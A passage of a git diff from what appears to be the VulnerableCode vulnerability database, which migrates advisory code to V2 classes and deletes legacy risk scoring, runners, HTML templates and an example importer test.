created_by=pipeline_id, - confidence=confidence, - ).update_or_create(advisory=advisory) - - for fixed_purl in fixed_purls: - fixed_package, _ = Package.objects.get_or_create_from_purl(purl=fixed_purl) - FixingPackageRelatedVulnerability( - vulnerability=vulnerability, - package=fixed_package, - created_by=pipeline_id, - confidence=confidence, - ).update_or_create(advisory=advisory) - - if advisory_data.weaknesses and vulnerability: - for cwe_id in advisory_data.weaknesses: - cwe_obj, _ = Weakness.objects.get_or_create(cwe_id=cwe_id) - cwe_obj.vulnerabilities.add(vulnerability) - cwe_obj.save() - - advisory.date_imported = datetime.now(timezone.utc) - advisory.save() - - -def advisories_checksum(advisories: Union[Advisory, List[Advisory]]) -> str: - if isinstance(advisories, Advisory) or isinstance(advisories, AdvisoryV2): +def advisories_checksum(advisories: Union[AdvisoryV2, List[AdvisoryV2]]) -> str: + if isinstance(advisories, AdvisoryV2): advisories = [advisories] contents = sorted([advisory.unique_content_id for advisory in advisories]) diff --git a/vulnerabilities/pipes/osv_v2.py b/vulnerabilities/pipes/osv_v2.py index 9186c43c0..95daf2426 100644 --- a/vulnerabilities/pipes/osv_v2.py +++ b/vulnerabilities/pipes/osv_v2.py @@ -28,7 +28,6 @@ from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import PackageCommitPatchData from vulnerabilities.importer import PatchData -from vulnerabilities.importer import Reference from vulnerabilities.importer import ReferenceV2 from vulnerabilities.importer import VulnerabilitySeverity from vulnerabilities.pipes.advisory import classify_patch_source @@ -66,7 +65,7 @@ def parse_advisory_data_v3( advisory_id: Optional[str] = None, ) -> Optional[AdvisoryDataV2]: """ - Return an AdvisoryData build from a ``raw_data`` mapping of OSV advisory and + Return an AdvisoryDataV2 build from a ``raw_data`` mapping of OSV advisory and a ``supported_ecosystem`` string. """ adv_id = raw_data.get("id") @@ -216,7 +215,7 @@ def parse_advisory_data_v3( or json.dumps(raw_data, indent=2, ensure_ascii=False), ) except Exception as e: - logger.error(f"Invalid AdvisoryData for {advisory_id}: {e}") + logger.error(f"Invalid AdvisoryDataV2 for {advisory_id}: {e}") def extract_events(range_data) -> Iterable[str]: @@ -303,7 +302,7 @@ def get_severities(raw_data, url) -> Iterable[VulnerabilitySeverity]: ) -def get_references_v2(raw_data) -> List[Reference]: +def get_references_v2(raw_data) -> List[ReferenceV2]: """ Return a list Reference extracted from a mapping of OSV ``raw_data`` given a ``severities`` list of VulnerabilitySeverity. diff --git a/vulnerabilities/pipes/risk_score.py b/vulnerabilities/pipes/risk_score.py index 8a4bf00cf..04a36d805 100644 --- a/vulnerabilities/pipes/risk_score.py +++ b/vulnerabilities/pipes/risk_score.py @@ -86,7 +86,9 @@ def compute_advisory_risk_score(advisory): Calculate the risk score for a single AdvisoryV2 object. Returns a tuple of (weighted_severity, exploitability, risk_score). """ - from vulnerabilities.risk import compute_vulnerability_risk_factors + from vulnerabilities.pipelines.v2_improvers.compute_package_risk import ( + compute_vulnerability_risk_factors, + ) weighted_severity = None exploitability = None diff --git a/vulnerabilities/pipes/vcs_collector_utils.py b/vulnerabilities/pipes/vcs_collector_utils.py index efa441105..71eb2ac7d 100644 --- a/vulnerabilities/pipes/vcs_collector_utils.py +++ b/vulnerabilities/pipes/vcs_collector_utils.py @@ -99,9 +99,9 @@ def collect_fix_commits(self): def collect_advisories(self): """ - Generate AdvisoryData objects for each vulnerability ID grouped with its related commits. + Generate AdvisoryDataV2 objects for each vulnerability ID grouped with its related commits. """ - self.log("Generating AdvisoryData objects from grouped commits.") + self.log("Generating AdvisoryDataV2 objects from grouped commits.") grouped_commits = self.collect_fix_commits() purl = url2purl(self.repo_url) for vuln_id, commits_data in grouped_commits.items(): diff --git a/vulnerabilities/references.py b/vulnerabilities/references.py index b543e813b..60d032f26 100644 --- a/vulnerabilities/references.py +++ b/vulnerabilities/references.py @@ -7,77 +7,9 @@ # See https://aboutcode.org for more information about nexB OSS projects. # -from vulnerabilities.importer import Reference from vulnerabilities.importer import ReferenceV2 -class XsaReference(Reference): - """ - A Xen advisory reference. See https://xenbits.xen.org/xsa - """ - - @classmethod - def from_id(cls, xsa_id): - """ - Return a new XsaReference from an XSA-XXXX id. - """ - if not xsa_id or not xsa_id.lower().startswith("xsa"): - return ValueError(f"Not a Xen reference. Does not start with XSA: {xsa_id!r}") - _, numid = xsa_id.rsplit("-") - return cls( - reference_id=xsa_id, - url=f"https://xenbits.xen.org/xsa/advisory-{numid}.html", - ) - - @classmethod - def from_number(cls, number): - """ - Return a new XsaReference from an XSA number. - """ - return cls( - reference_id=f"XSA-{number}", - url=f"https://xenbits.xen.org/xsa/advisory-{number}.html", - ) - - -class ZbxReference(Reference): - """ - A Zabbix advisory reference. See https://support.zabbix.com - """ - - @classmethod - def from_id(cls, zbx_id): - """ - Return a new ZbxReference from an ZBX-XXXX id. - """ - if not zbx_id or not zbx_id.lower().startswith("zbx"): - return ValueError(f"Not a Zabbix reference. Does not start with ZBX: {zbx_id!r}") - return cls( - reference_id=zbx_id, - url=f"https://support.zabbix.com/browse/{zbx_id}", - ) - - -class WireSharkReference(Reference): - """ - A Wireshark advisory reference. See https://www.wireshark.org/security - """ - - @classmethod - def from_id(cls, wnpa_sec_id): - """ - Return a new WireSharkReference from an wnpa-sec-XXXX id. - """ - if not wnpa_sec_id or not wnpa_sec_id.lower().startswith("wnpa-sec"): - return ValueError( - f"Not a WireShark reference. Does not start with wnpa-sec: {wnpa_sec_id!r}" - ) - return cls( - reference_id=wnpa_sec_id, - url=f"https://www.wireshark.org/security/{wnpa_sec_id}.html", - ) - - class XsaReferenceV2: """ A Xen advisory reference. See https://xenbits.xen.org/xsa diff --git a/vulnerabilities/risk.py b/vulnerabilities/risk.py deleted file mode 100644 index b7782ebbc..000000000 --- a/vulnerabilities/risk.py +++ /dev/null @@ -1,121 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -from urllib.parse import urlparse - -from django.db.models import Max - -from vulnerabilities.models import AdvisoryV2 -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.severity_systems import EPSS -from vulnerabilities.weight_config import WEIGHT_CONFIG - -DEFAULT_WEIGHT = 5 - - -def get_weighted_severity(severities): - """ - Weighted Severity is the maximum value obtained when each Severity is multiplied - by its associated Weight/10. - Example of Weighted Severity: max(7*(10/10), 8*(3/10), 6*(8/10)) = 7 - """ - if not severities: - return 0 - - score_map = { - "low": 3, - "moderate": 6.9, - "medium": 6.9, - "high": 8.9, - "important": 8.9, - "critical": 10.0, - "urgent": 10.0, - } - - score_list = [] - for severity in severities: - if not severity.url: - continue - parsed_url = urlparse(severity.url) - severity_source = parsed_url.netloc.replace("www.", "", 1) - weight = WEIGHT_CONFIG.get(severity_source, DEFAULT_WEIGHT) - max_weight = float(weight) / 10 - vul_score = severity.value - if not vul_score: - continue - try: - vul_score = float(vul_score) - vul_score_value = vul_score * max_weight - except ValueError: - vul_score = vul_score.lower() - vul_score_value = score_map.get(vul_score, 0) * max_weight - - score_list.append(vul_score_value) - - max_score = max(score_list) if score_list else 0 - return round(max_score, 1) - - -def get_exploitability_level(exploits, references, severities): - """ - Exploitability refers to the potential or - probability of a software package vulnerability being exploited by - malicious actors to compromise systems, applications, or networks. - It is determined automatically by discovery of exploits. - """ - # no exploit known ( default .5) - exploit_level = 0.5 - - if exploits: - # Automatable Exploit with PoC script published OR known exploits (KEV) in the wild OR known ransomware - exploit_level = 2 - - elif severities: - # high EPSS. - for severity in severities: - if severity.scoring_system == EPSS.identifier and float(severity.value) > 0.8: - exploit_level = 2 - break - - elif references: - # PoC/Exploit script published - for reference in references: - if reference.reference_type == VulnerabilityReference.EXPLOIT: - exploit_level = 1 - break - - return exploit_level - - -def compute_vulnerability_risk_factors(references, severities, exploits): - """ - Risk may be expressed as a number ranging from 0 to 10. - Risk is calculated from weighted severity and exploitability values. - It is the maximum value of (the weighted severity multiplied by its exploitability) or 10 - - Risk = min(weighted severity * exploitability, 10) - """ - weighted_severity = get_weighted_severity(severities) - exploitability = get_exploitability_level(exploits, references, severities) - return weighted_severity, exploitability - - -def compute_package_risk(package): - """ - Calculate the risk for a package by iterating over all vulnerabilities that affects this package - and determining the associated risk. - """ - result = [] - for relation in package.affectedbypackagerelatedvulnerability_set.all(): - if risk := relation.vulnerability.risk_score: - result.append(float(risk)) - - if not result: - return - - return round(max(result), 1) diff --git a/vulnerabilities/tasks.py b/vulnerabilities/tasks.py index d4670040f..1e0adac10 100644 --- a/vulnerabilities/tasks.py +++ b/vulnerabilities/tasks.py @@ -19,8 +19,6 @@ from rq import Worker from vulnerabilities import models -from vulnerabilities.importer import Importer -from vulnerabilities.improver import Improver from vulnerablecode.settings import RQ_QUEUES logger = logging.getLogger(__name__) @@ -45,8 +43,6 @@ def execute_pipeline(pipeline_id, run_id): if issubclass(run_class, VulnerableCodePipeline): pipeline_instance = run_class(run_instance=run) exitcode, output = pipeline_instance.execute() - elif issubclass(run_class, Importer) or issubclass(run_class, Improver): - exitcode, output = legacy_runner(run_class=run_class, run=run) else: output = f"{pipeline_id} is not a valid importer/improver." exitcode = 1 @@ -62,47 +58,6 @@ def execute_pipeline(pipeline_id, run_id): logger.info("Update Run instance with exitcode, output, and end_date") -def legacy_runner(run_class, run): - from vulnerabilities.import_runner import ImportRunner - from vulnerabilities.improve_runner import ImproveRunner - - exitcode = 0 - output = "" - pipeline_id = run.pipeline.pipeline_id - - log_stream = StringIO() - handler = logging.StreamHandler(log_stream) - module_name = pipeline_id.rsplit(".", 1)[0] - logger_modules = [module_name] - if module_name.startswith("vulnerabilities.improvers."): - logger_modules.append("vulnerabilities.improve_runner") - elif module_name.startswith("vulnerabilities.importers."): - logger_modules.append("vulnerabilities.import_runner") - - loggers = [] - for name in logger_modules: - logger = logging.getLogger(name) - logger.setLevel(logging.INFO) - logger.addHandler(handler) - loggers.append(logger) - - try: - if issubclass(run_class, Importer): - ImportRunner(run_class).run() - run.append_to_log(f"Successfully imported data using {pipeline_id}") - elif issubclass(run_class, Improver): - ImproveRunner(improver_class=run_class).run() - run.append_to_log(f"Successfully improved data using {pipeline_id}") - except Exception as e: - output = (f"Failed to run {pipeline_id}: {e!r} \n {traceback_format_exc()}",) - exitcode = 1 - - run.append_to_log(log_stream.getvalue(), is_multiline=True) - [logger.removeHandler(handler) for logger in loggers] - - return exitcode, output - - def set_run_failure(job, connection, type, value, traceback): from vulnerabilities.models import PipelineRun diff --git a/vulnerabilities/templates/advisory_detail.html b/vulnerabilities/templates/advisory_detail.html index fea5afde4..01dde6566 100644 --- a/vulnerabilities/templates/advisory_detail.html +++ b/vulnerabilities/templates/advisory_detail.html @@ -23,40 +23,52 @@

    • +
    @@ -637,11 +645,7 @@
    {% endif %} {% empty %} - - - There are no known vectors. - - +

    There are no known vectors.

    {% endfor %}
    @@ -734,22 +738,4 @@ {% endif %} - - - - {% endblock %} \ No newline at end of file diff --git a/vulnerabilities/templates/base.html b/vulnerabilities/templates/base.html index 337e9318d..22c6493f7 100644 --- a/vulnerabilities/templates/base.html +++ b/vulnerabilities/templates/base.html @@ -9,7 +9,7 @@ - + diff --git a/vulnerabilities/templates/navbar.html b/vulnerabilities/templates/navbar.html index 530c2521e..52b36eab1 100644 --- a/vulnerabilities/templates/navbar.html +++ b/vulnerabilities/templates/navbar.html @@ -20,6 +20,9 @@
    + + Packages + Documentation diff --git a/vulnerabilities/templates/package_details.html b/vulnerabilities/templates/package_details.html deleted file mode 100644 index 0812ef629..000000000 --- a/vulnerabilities/templates/package_details.html +++ /dev/null @@ -1,351 +0,0 @@ -{% extends "base.html" %} -{% load humanize %} -{% load widget_tweaks %} -{% load static %} -{% load url_filters %} - -{% block title %} -VulnerableCode Package Details - {{ package.purl }} -{% endblock %} - -{% block content %} -
    - {% include "package_search_box.html"%} -
    - -{% if package %} -
    -
    -
    -
    - Package details: - {{ package.purl }} - -
    -
    - - - -
    -
    -
    - {% if affected_by_vulnerabilities|length != 0 %} -
    - {% else %} -
    - {% endif %} - - - - - - - {% if package.is_ghost %} - - - - - {% endif %} - -
    - - purl - - - {{ fixed_package_details.purl.to_string }} -
    - Tags - - - Ghost - -
    -
    - {% if affected_by_vulnerabilities|length != 0 %} - -
    - - - - - - - - - - - - - - - -
    - Next non-vulnerable version - - {% if fixed_package_details.next_non_vulnerable.version %} - {{ fixed_package_details.next_non_vulnerable.version }} - {% else %} - None. - {% endif %} -
    - Latest non-vulnerable version - - {% if fixed_package_details.latest_non_vulnerable.version %} - {{ fixed_package_details.latest_non_vulnerable.version }} - {% else %} - None. - {% endif %} -
    - - Risk - - - {% if package.risk_score %} - {{ package.risk_score }} - {% endif %} -
    -
    - - {% endif %} - -
    -
    - Vulnerabilities affecting this package ({{ affected_by_vulnerabilities|length }}) -
    - - - - - - - - - - - - {% for vulnerability in affected_by_vulnerabilities %} - - - - - - {% empty %} - - - - {% endfor %} - -
    VulnerabilitySummaryFixed by
    - {{vulnerability.vulnerability_id }} -
    - Aliases: -
    - {% for alias in vulnerability.alias %} - {% if alias.url %} - {{ alias }} -
    - {% else %} - {{ alias }} -
    - {% endif %} - {% endfor %} -     		- {{ vulnerability.summary }} - - {% if package.purl == fixed_package_details.purl.to_string %} - {% for key, value in fixed_package_details.items %} - {% if key == "vulnerabilities" %} - {% for vuln in value %} - {% if vuln.vulnerability.vulnerability_id == vulnerability.vulnerability_id %} - {% if vuln.fixed_by_package_details is None %} - There are no reported fixed by versions. - {% else %} - {% for fixed_pkg in vuln.fixed_by_package_details %} -
    - {% if fixed_pkg.fixed_by_purl_vulnerabilities|length == 0 %} - {{ fixed_pkg.fixed_by_purl.version }} -
    - Affected by 0 other vulnerabilities. - {% else %} - {{ fixed_pkg.fixed_by_purl.version }} - {% if fixed_pkg.fixed_by_purl_vulnerabilities|length != 1 %} -
    - Affected by {{ fixed_pkg.fixed_by_purl_vulnerabilities|length }} other - vulnerabilities. - {% else %} -
    - Affected by {{ fixed_pkg.fixed_by_purl_vulnerabilities|length }} other - vulnerability. - {% endif %} - -
    -
    - -
    - -
    - {% endif %} -
    - {% endfor %} - {% endif %} - {% endif %} - {% endfor %} - {% endif %} - {% endfor %} - {% endif %} -
    - This package is not known to be affected by vulnerabilities. -
    -
    - -
    -
    - Vulnerabilities fixed by this package ({{ fixing_vulnerabilities|length }}) -
    - - - - - - - - - - - {% for vulnerability in fixing_vulnerabilities %} - - - - - - {% empty %} - - - - {% endfor %} - -
    VulnerabilitySummaryAliases
    - {{ vulnerability.vulnerability_id }} - - {{ vulnerability.summary }} - - {% for alias in vulnerability.alias %} - {% if alias.url %} - {{ alias }} -
    - {% else %} - {{ alias }} -
    - {% endif %} - {% endfor %} -
    - This package is not known to fix vulnerabilities. -
    - -
    -
    -
    -
    -
    - - - - - - - - - - - - {% for log in history %} - - - - - - - - - {% endfor %} -
    - Date - - Actor - - Action Vulnerability - - Source - - - VulnerableCode Version - -
    {{ log.get_iso_time }}{{ log.actor_name }}{{ log.get_action_type_label }} {{ log.related_vulnerability }} {{log.source_url }} {{ log.software_version }}
    -
    -
    -
    -
    - -{% endif %} -{% endblock %} diff --git a/vulnerabilities/templates/package_details_v2.html b/vulnerabilities/templates/package_details_v2.html index eea6c6384..c9f802253 100644 --- a/vulnerabilities/templates/package_details_v2.html +++ b/vulnerabilities/templates/package_details_v2.html @@ -378,6 +378,9 @@
    - {% endif %} {% endblock %} + +{% block scripts %} + +{% endblock %} diff --git a/vulnerabilities/templates/package_search_box.html b/vulnerabilities/templates/package_search_box.html deleted file mode 100644 index ab8d76402..000000000 --- a/vulnerabilities/templates/package_search_box.html +++ /dev/null @@ -1,48 +0,0 @@ -{% load widget_tweaks %} -
    -
    - Search for packages -
    -
    - -
    - -
    -
    -
    -
    -
    -
    -
    - {{ package_search_form.search|add_class:"input" }} -
    -
    - -
    -
    -
    -
    -
    -
    diff --git a/vulnerabilities/templates/packages.html b/vulnerabilities/templates/packages.html deleted file mode 100644 index 553148612..000000000 --- a/vulnerabilities/templates/packages.html +++ /dev/null @@ -1,84 +0,0 @@ -{% extends "base.html" %} -{% load humanize %} -{% load widget_tweaks %} - -{% block title %} -VulnerableCode Package Search -{% endblock %} - -{% block content %} -
    - {% include "package_search_box.html" %} -
    - -{% if search %} -
    -
    -
    -
    - {{ page_obj.paginator.count|intcomma }} results -
    - {% if is_paginated %} - {% include 'includes/pagination.html' with page_obj=page_obj %} - {% endif %} -
    -
    -
    - -
    -
    - - - - - - - - - - {% for package in page_obj %} - - - - - - {% empty %} - - - - {% endfor %} - -
    - - Package URL - - - - Affected by vulnerabilities - - - - Fixing vulnerabilities - -
    - {{ package.purl }} - {{ package.vulnerability_count }}{{ package.patched_vulnerability_count }}
    - No Package found. -
    -
    - - {% if is_paginated %} - {% include 'includes/pagination.html' with page_obj=page_obj %} - {% endif %} - -
    -{% endif %} -{% endblock %} diff --git a/vulnerabilities/templates/vulnerabilities.html b/vulnerabilities/templates/vulnerabilities.html deleted file mode 100644 index 241d050bd..000000000 --- a/vulnerabilities/templates/vulnerabilities.html +++ /dev/null @@ -1,81 +0,0 @@ -{% extends "base.html" %} -{% load humanize %} -{% load widget_tweaks %} - -{% block title %} -VulnerableCode Vulnerability Search -{% endblock %} - -{% block content %} -
    - {% include "vulnerability_search_box.html" %} -
    - -{% if search %} -
    -
    -
    -
    - {{ page_obj.paginator.count|intcomma }} results -
    - {% if is_paginated %} - {% include 'includes/pagination.html' with page_obj=page_obj %} - {% endif %} -
    -
    -
    - -
    -
    - - - - - - - - - - - {% for vulnerability in page_obj %} - - - - - - - {% empty %} - - - - {% endfor %} - -
    Vulnerability idAliasesAffected packagesFixed by packages
    - {{ vulnerability.vulnerability_id }} - - - {% for alias in vulnerability.alias %} - {% if alias.url %} - {{ alias }} - - - {% else %} - {{ alias }} - {% endif %} -
    - {% endfor %} -     		{{ vulnerability.vulnerable_package_count }}{{ vulnerability.patched_package_count }}
    - No vulnerability found. -
    -
    - - - {% if is_paginated %} - {% include 'includes/pagination.html' with page_obj=page_obj %} - {% endif %} -
    -{% endif %} - -{% endblock %} diff --git a/vulnerabilities/templates/vulnerability_details.html b/vulnerabilities/templates/vulnerability_details.html deleted file mode 100644 index d4ad535f5..000000000 --- a/vulnerabilities/templates/vulnerability_details.html +++ /dev/null @@ -1,617 +0,0 @@ -{% extends "base.html" %} -{% load humanize %} -{% load widget_tweaks %} -{% load static %} -{% load show_cvss %} -{% load url_filters %} - -{% block title %} -VulnerableCode Vulnerability Details - {{ vulnerability.vulnerability_id }} -{% endblock %} - -{% block content %} -
    - {% include "vulnerability_search_box.html" %} -
    - -{% if vulnerability %} -
    -
    -
    -
    - Vulnerability details: - - {{ vulnerability.vulnerability_id }} - -
    -
    - - -
    -
    -
    - - - - - - - - - - - - - - - {% if severity_score_range %} - - - - {% endif %} - - - - - - - - - - - - - - - - - - - - - - - - - -
    Vulnerability ID{{ vulnerability.vulnerability_id }}
    Aliases - {% for alias in aliases %} - {% if alias.url %} - {{ alias }} - {% else %} - {{ alias }} - {% endif %} -
    - {% endfor %} -
    Summary{{ vulnerability.summary }} -
    Severity score range{{ severity_score_range }} -
    Status{{ status }}
    - Exploitability - {{ vulnerability.exploitability }} -
    Weighted Severity - {{ vulnerability.weighted_severity }} -
    Risk - {{ vulnerability.risk_score }} -
    Affected and Fixed Packages - - Package Details - -
    -
    - Weaknesses ({{ weaknesses|length }}) -
    -
    - - {% for weakness in weaknesses %} - - - - - - {% empty %} - - - - {% endfor %} -
    CWE-{{ weakness.cwe_id }} - - {{ weakness.name }} - -
    - There are no known CWE. -
    -
    -
    -
    - - -
    - - - - - - - {% for severity in severities %} - - - - - - {% empty %} - - - - {% endfor %} -
    System Score Found at
    {{ severity.scoring_system }}{{ severity.value }} - {{ severity.url }} -
    - There are no known severity scores. -
    -
    - -
    - - - - - - - - - {% for ref in references %} - - {% if ref.reference_id %} - - {% else %} - - {% endif %} - - {% if ref.reference_type %} - - {% else %} - - {% endif %} - - - - {% empty %} - - - - {% endfor %} -
    Reference id Reference type URL
    {{ ref.reference_id }}{{ ref.get_reference_type_display }}{{ ref.url }}
    - There are no known references. -
    -
    - -
    - {% for exploit in vulnerability.exploits.all %} - - - - - - - - {% if exploit.date_added %} - - - - - {% endif %} - {% if exploit.description %} - - - - - {% endif %} - {% if exploit.required_action %} - - - - - {% endif %} - {% if exploit.due_date %} - - - - - {% endif %} - {% if exploit.notes %} - - - - - {% endif %} - {% if exploit.known_ransomware_campaign_use is not None %} - - - - - {% endif %} - {% if exploit.source_date_published %} - - - - - {% endif %} - {% if exploit.exploit_type %} - - - - - {% endif %} - {% if exploit.platform %} - - - - - {% endif %} - {% if exploit.source_date_updated %} - - - - - {% endif %} - - {% if exploit.source_url %} - - - - - {% endif %} - -
    Data source {{ exploit.data_source }}
    - - Date added - - {{ exploit.date_added }}
    - - Description - - {{ exploit.description }}
    - - Required action - - {{ exploit.required_action }}
    - - Due date - - {{ exploit.due_date }}
    - - Note - - 
    {{ exploit.notes }}
    - - Ransomware campaign use - - {{ exploit.known_ransomware_campaign_use|yesno:"Known,Unknown" }}
    - - Source publication date - - {{ exploit.source_date_published }}
    - - Exploit type - - {{ exploit.exploit_type }}
    - - Platform - - {{ exploit.platform }}
    - - Source update date - - {{ exploit.source_date_updated }}
    - - Source URL - - {{ exploit.source_url }}
    - {% empty %} - - - No exploits are available. - - - {% endfor %} -
    - -
    - {% for severity_vector in severity_vectors %} - {% if severity_vector.vector.version == '2.0' %} - Vector: {{ severity_vector.vector.vectorString }} Found at {{ severity_vector.origin }} - - - - - - - - - - - - - - - - - - - -
    Exploitability (E)Access Vector (AV)Access Complexity (AC)Authentication (Au)Confidentiality Impact (C)Integrity Impact (I)Availability Impact (A)
    {{ severity_vector.vector.exploitability|cvss_printer:"high,functional,unproven,proof_of_concept,not_defined" }}{{ severity_vector.vector.accessVector|cvss_printer:"local,adjacent_network,network" }}{{ severity_vector.vector.accessComplexity|cvss_printer:"high,medium,low" }}{{ severity_vector.vector.authentication|cvss_printer:"multiple,single,none" }}{{ severity_vector.vector.confidentialityImpact|cvss_printer:"none,partial,complete" }}{{ severity_vector.vector.integrityImpact|cvss_printer:"none,partial,complete" }}{{ severity_vector.vector.availabilityImpact|cvss_printer:"none,partial,complete" }}
    - {% elif severity_vector.vector.version == '3.1' or severity_vector.vector.version == '3.0'%} - Vector: {{ severity_vector.vector.vectorString }} Found at {{ severity_vector.origin }} - - - - - - - - - - - - - - - - - - - - - -
    Attack Vector (AV)Attack Complexity (AC)Privileges Required (PR)User Interaction (UI)Scope (S)Confidentiality Impact (C)Integrity Impact (I)Availability Impact (A)
    {{ severity_vector.vector.attackVector|cvss_printer:"network,adjacent_network,local,physical"}}{{ severity_vector.vector.attackComplexity|cvss_printer:"low,high" }}{{ severity_vector.vector.privilegesRequired|cvss_printer:"none,low,high" }}{{ severity_vector.vector.userInteraction|cvss_printer:"none,required"}}{{ severity_vector.vector.scope|cvss_printer:"unchanged,changed" }}{{ severity_vector.vector.confidentialityImpact|cvss_printer:"high,low,none" }}{{ severity_vector.vector.integrityImpact|cvss_printer:"high,low,none" }}{{ severity_vector.vector.availabilityImpact|cvss_printer:"high,low,none" }}
    - {% elif severity_vector.vector.version == '4' %} - Vector: {{ severity_vector.vector.vectorString }} Found at {{ severity_vector.origin }} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Attack Vector (AV)Attack Complexity (AC)Attack Requirements (AT)Privileges Required (PR)User Interaction (UI)Vulnerable System Impact Confidentiality (VC)Vulnerable System Impact Integrity (VI)Vulnerable System Impact Availability (VA)Subsequent System Impact Confidentiality (SC)Subsequent System Impact Integrity (SI)Subsequent System Impact Availability (SA)
    {{ severity_vector.vector.attackVector|cvss_printer:"network,adjacent,local,physical"}}{{ severity_vector.vector.attackComplexity|cvss_printer:"low,high" }}{{ severity_vector.vector.attackRequirement|cvss_printer:"none,present" }}{{ severity_vector.vector.privilegesRequired|cvss_printer:"none,low,high" }}{{ severity_vector.vector.userInteraction|cvss_printer:"none,passive,active"}}{{ severity_vector.vector.vulnerableSystemImpactConfidentiality|cvss_printer:"high,low,none" }}{{ severity_vector.vector.vulnerableSystemImpactIntegrity|cvss_printer:"high,low,none" }}{{ severity_vector.vector.vulnerableSystemImpactAvailability|cvss_printer:"high,low,none" }}{{ severity_vector.vector.subsequentSystemImpactConfidentiality|cvss_printer:"high,low,none" }}{{ severity_vector.vector.subsequentSystemImpactIntegrity|cvss_printer:"high,low,none" }}{{ severity_vector.vector.subsequentSystemImpactAvailability|cvss_printer:"high,low,none" }}
    - {% elif severity_vector.vector.version == 'ssvc' %} -
    - Vector: {{ severity_vector.vector.vectorString }} Found at {{ severity_vector.origin }} -
    - {% endif %} - {% empty %} - - - There are no known vectors. - - - {% endfor %} -
    - - -
    - {% if epss_data %} -
    - Exploit Prediction Scoring System (EPSS) -
    - - - - - - - - - - - {% if epss_data.published_at %} - - - - - {% endif %} - -
    - - Percentile - - {{ epss_data.percentile }}
    - - EPSS Score - - {{ epss_data.score }}
    - - Published At - - {{ epss_data.published_at }}
    - {% else %} -

    No EPSS data available for this vulnerability.

    - {% endif %} -
    - -
    - - - - - - - - - - - {% for log in history %} - - - - - - - - {% empty %} - - - - {% endfor %} -
    - - Date - - Actor - Action Source - VulnerableCode Version -
    {{ log.get_iso_time }}{{ log.actor_name }}{{ log.get_action_type_label }} {{log.source_url }} {{ log.software_version }}
    - There are no relevant records. -
    -
    -
    -
    -
    -{% endif %} - - - - - -{% endblock %} \ No newline at end of file diff --git a/vulnerabilities/templates/vulnerability_package_details.html b/vulnerabilities/templates/vulnerability_package_details.html deleted file mode 100644 index 4c5e76ace..000000000 --- a/vulnerabilities/templates/vulnerability_package_details.html +++ /dev/null @@ -1,92 +0,0 @@ -{% extends "base.html" %} -{% load humanize %} -{% load widget_tweaks %} -{% load static %} -{% load show_cvss %} -{% load url_filters %} - -{% block title %} -VulnerableCode Vulnerability Package Details - {{ vulnerability.vulnerability_id }} -{% endblock %} - -{% block content %} - -{% if vulnerability %} -
    -
    - -
    - - - - - - - - - {% for package in affected_packages %} - - - - - {% empty %} - - - - {% endfor %} - -
    AffectedFixed by
    - {{ package.purl }} - - - {% for match in all_affected_fixed_by_matches %} - {% if match.affected_package == package %} - {% if match.matched_fixed_by_packages|length > 0 %} - {% for pkg in match.matched_fixed_by_packages %} - {{ pkg }} -
    - {% endfor %} - {% else %} - There are no reported fixed by versions. - {% endif %} - {% endif %} - {% endfor %} - -
    - This vulnerability is not known to affect any packages. -
    -
    -
    -
    -{% endif %} - - - - - -{% endblock %} \ No newline at end of file diff --git a/vulnerabilities/templates/vulnerability_search_box.html b/vulnerabilities/templates/vulnerability_search_box.html deleted file mode 100644 index 5486800c1..000000000 --- a/vulnerabilities/templates/vulnerability_search_box.html +++ /dev/null @@ -1,39 +0,0 @@ -{% load widget_tweaks %} -
    -
    - Search for vulnerabilities -
    -
    - -
    - -
    -
    -
    -
    -
    -
    -
    - {% render_field vulnerability_search_form.search class="input" %} -
    -
    - -
    -
    -
    -
    -
    -
    diff --git a/vulnerabilities/tests/example_importer_improver.py b/vulnerabilities/tests/example_importer_improver.py deleted file mode 100644 index bcaa87c45..000000000 --- a/vulnerabilities/tests/example_importer_improver.py +++ /dev/null @@ -1,113 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from datetime import datetime -from datetime import timezone -from typing import Iterable - -from django.db.models.query import QuerySet -from packageurl import PackageURL -from univers.version_range import NginxVersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.improver import Improver -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory -from vulnerabilities.severity_systems import SCORING_SYSTEMS - - -class ExampleImporter(Importer): - - spdx_license_expression = "BSD-2-Clause" - importer_name = "Example Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - raw_data = fetch_advisory_data() - for data in raw_data: - yield parse_advisory_data(data) - - -def fetch_advisory_data(): - return [ - { - "id": "CVE-2021-230171337", - "summary": "1-byte memory overwrite in resolver", - "advisory_severity": "medium", - "vulnerable": "0.6.18-1.20.0", - "fixed": "1.20.1", - "reference": "http://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html", - "published_on": "14-02-2021 UTC", - "url": "http://example.com/cve-2021-1234", - }, - { - "id": "CVE-2021-12341337", - "summary": "Dummy advisory", - "advisory_severity": "high", - "vulnerable": "0.6.18-1.20.0", - "fixed": "1.20.1", - "reference": "http://example.com/cve-2021-1234", - "published_on": "06-10-2021 UTC", - "url": "http://example.com/cve-2021-1234", - }, - ] - - -def parse_advisory_data(raw_data) -> AdvisoryData: - """ - Return AdvisoryData build from a mapping of ``raw_data`` example advisory. - """ - purl = PackageURL(type="example", name="dummy_package") - affected_version_range = NginxVersionRange.from_native(raw_data["vulnerable"]) - fixed_version = SemverVersion(raw_data["fixed"]) - affected_package = AffectedPackage( - package=purl, affected_version_range=affected_version_range, fixed_version=fixed_version - ) - severity = VulnerabilitySeverity( - 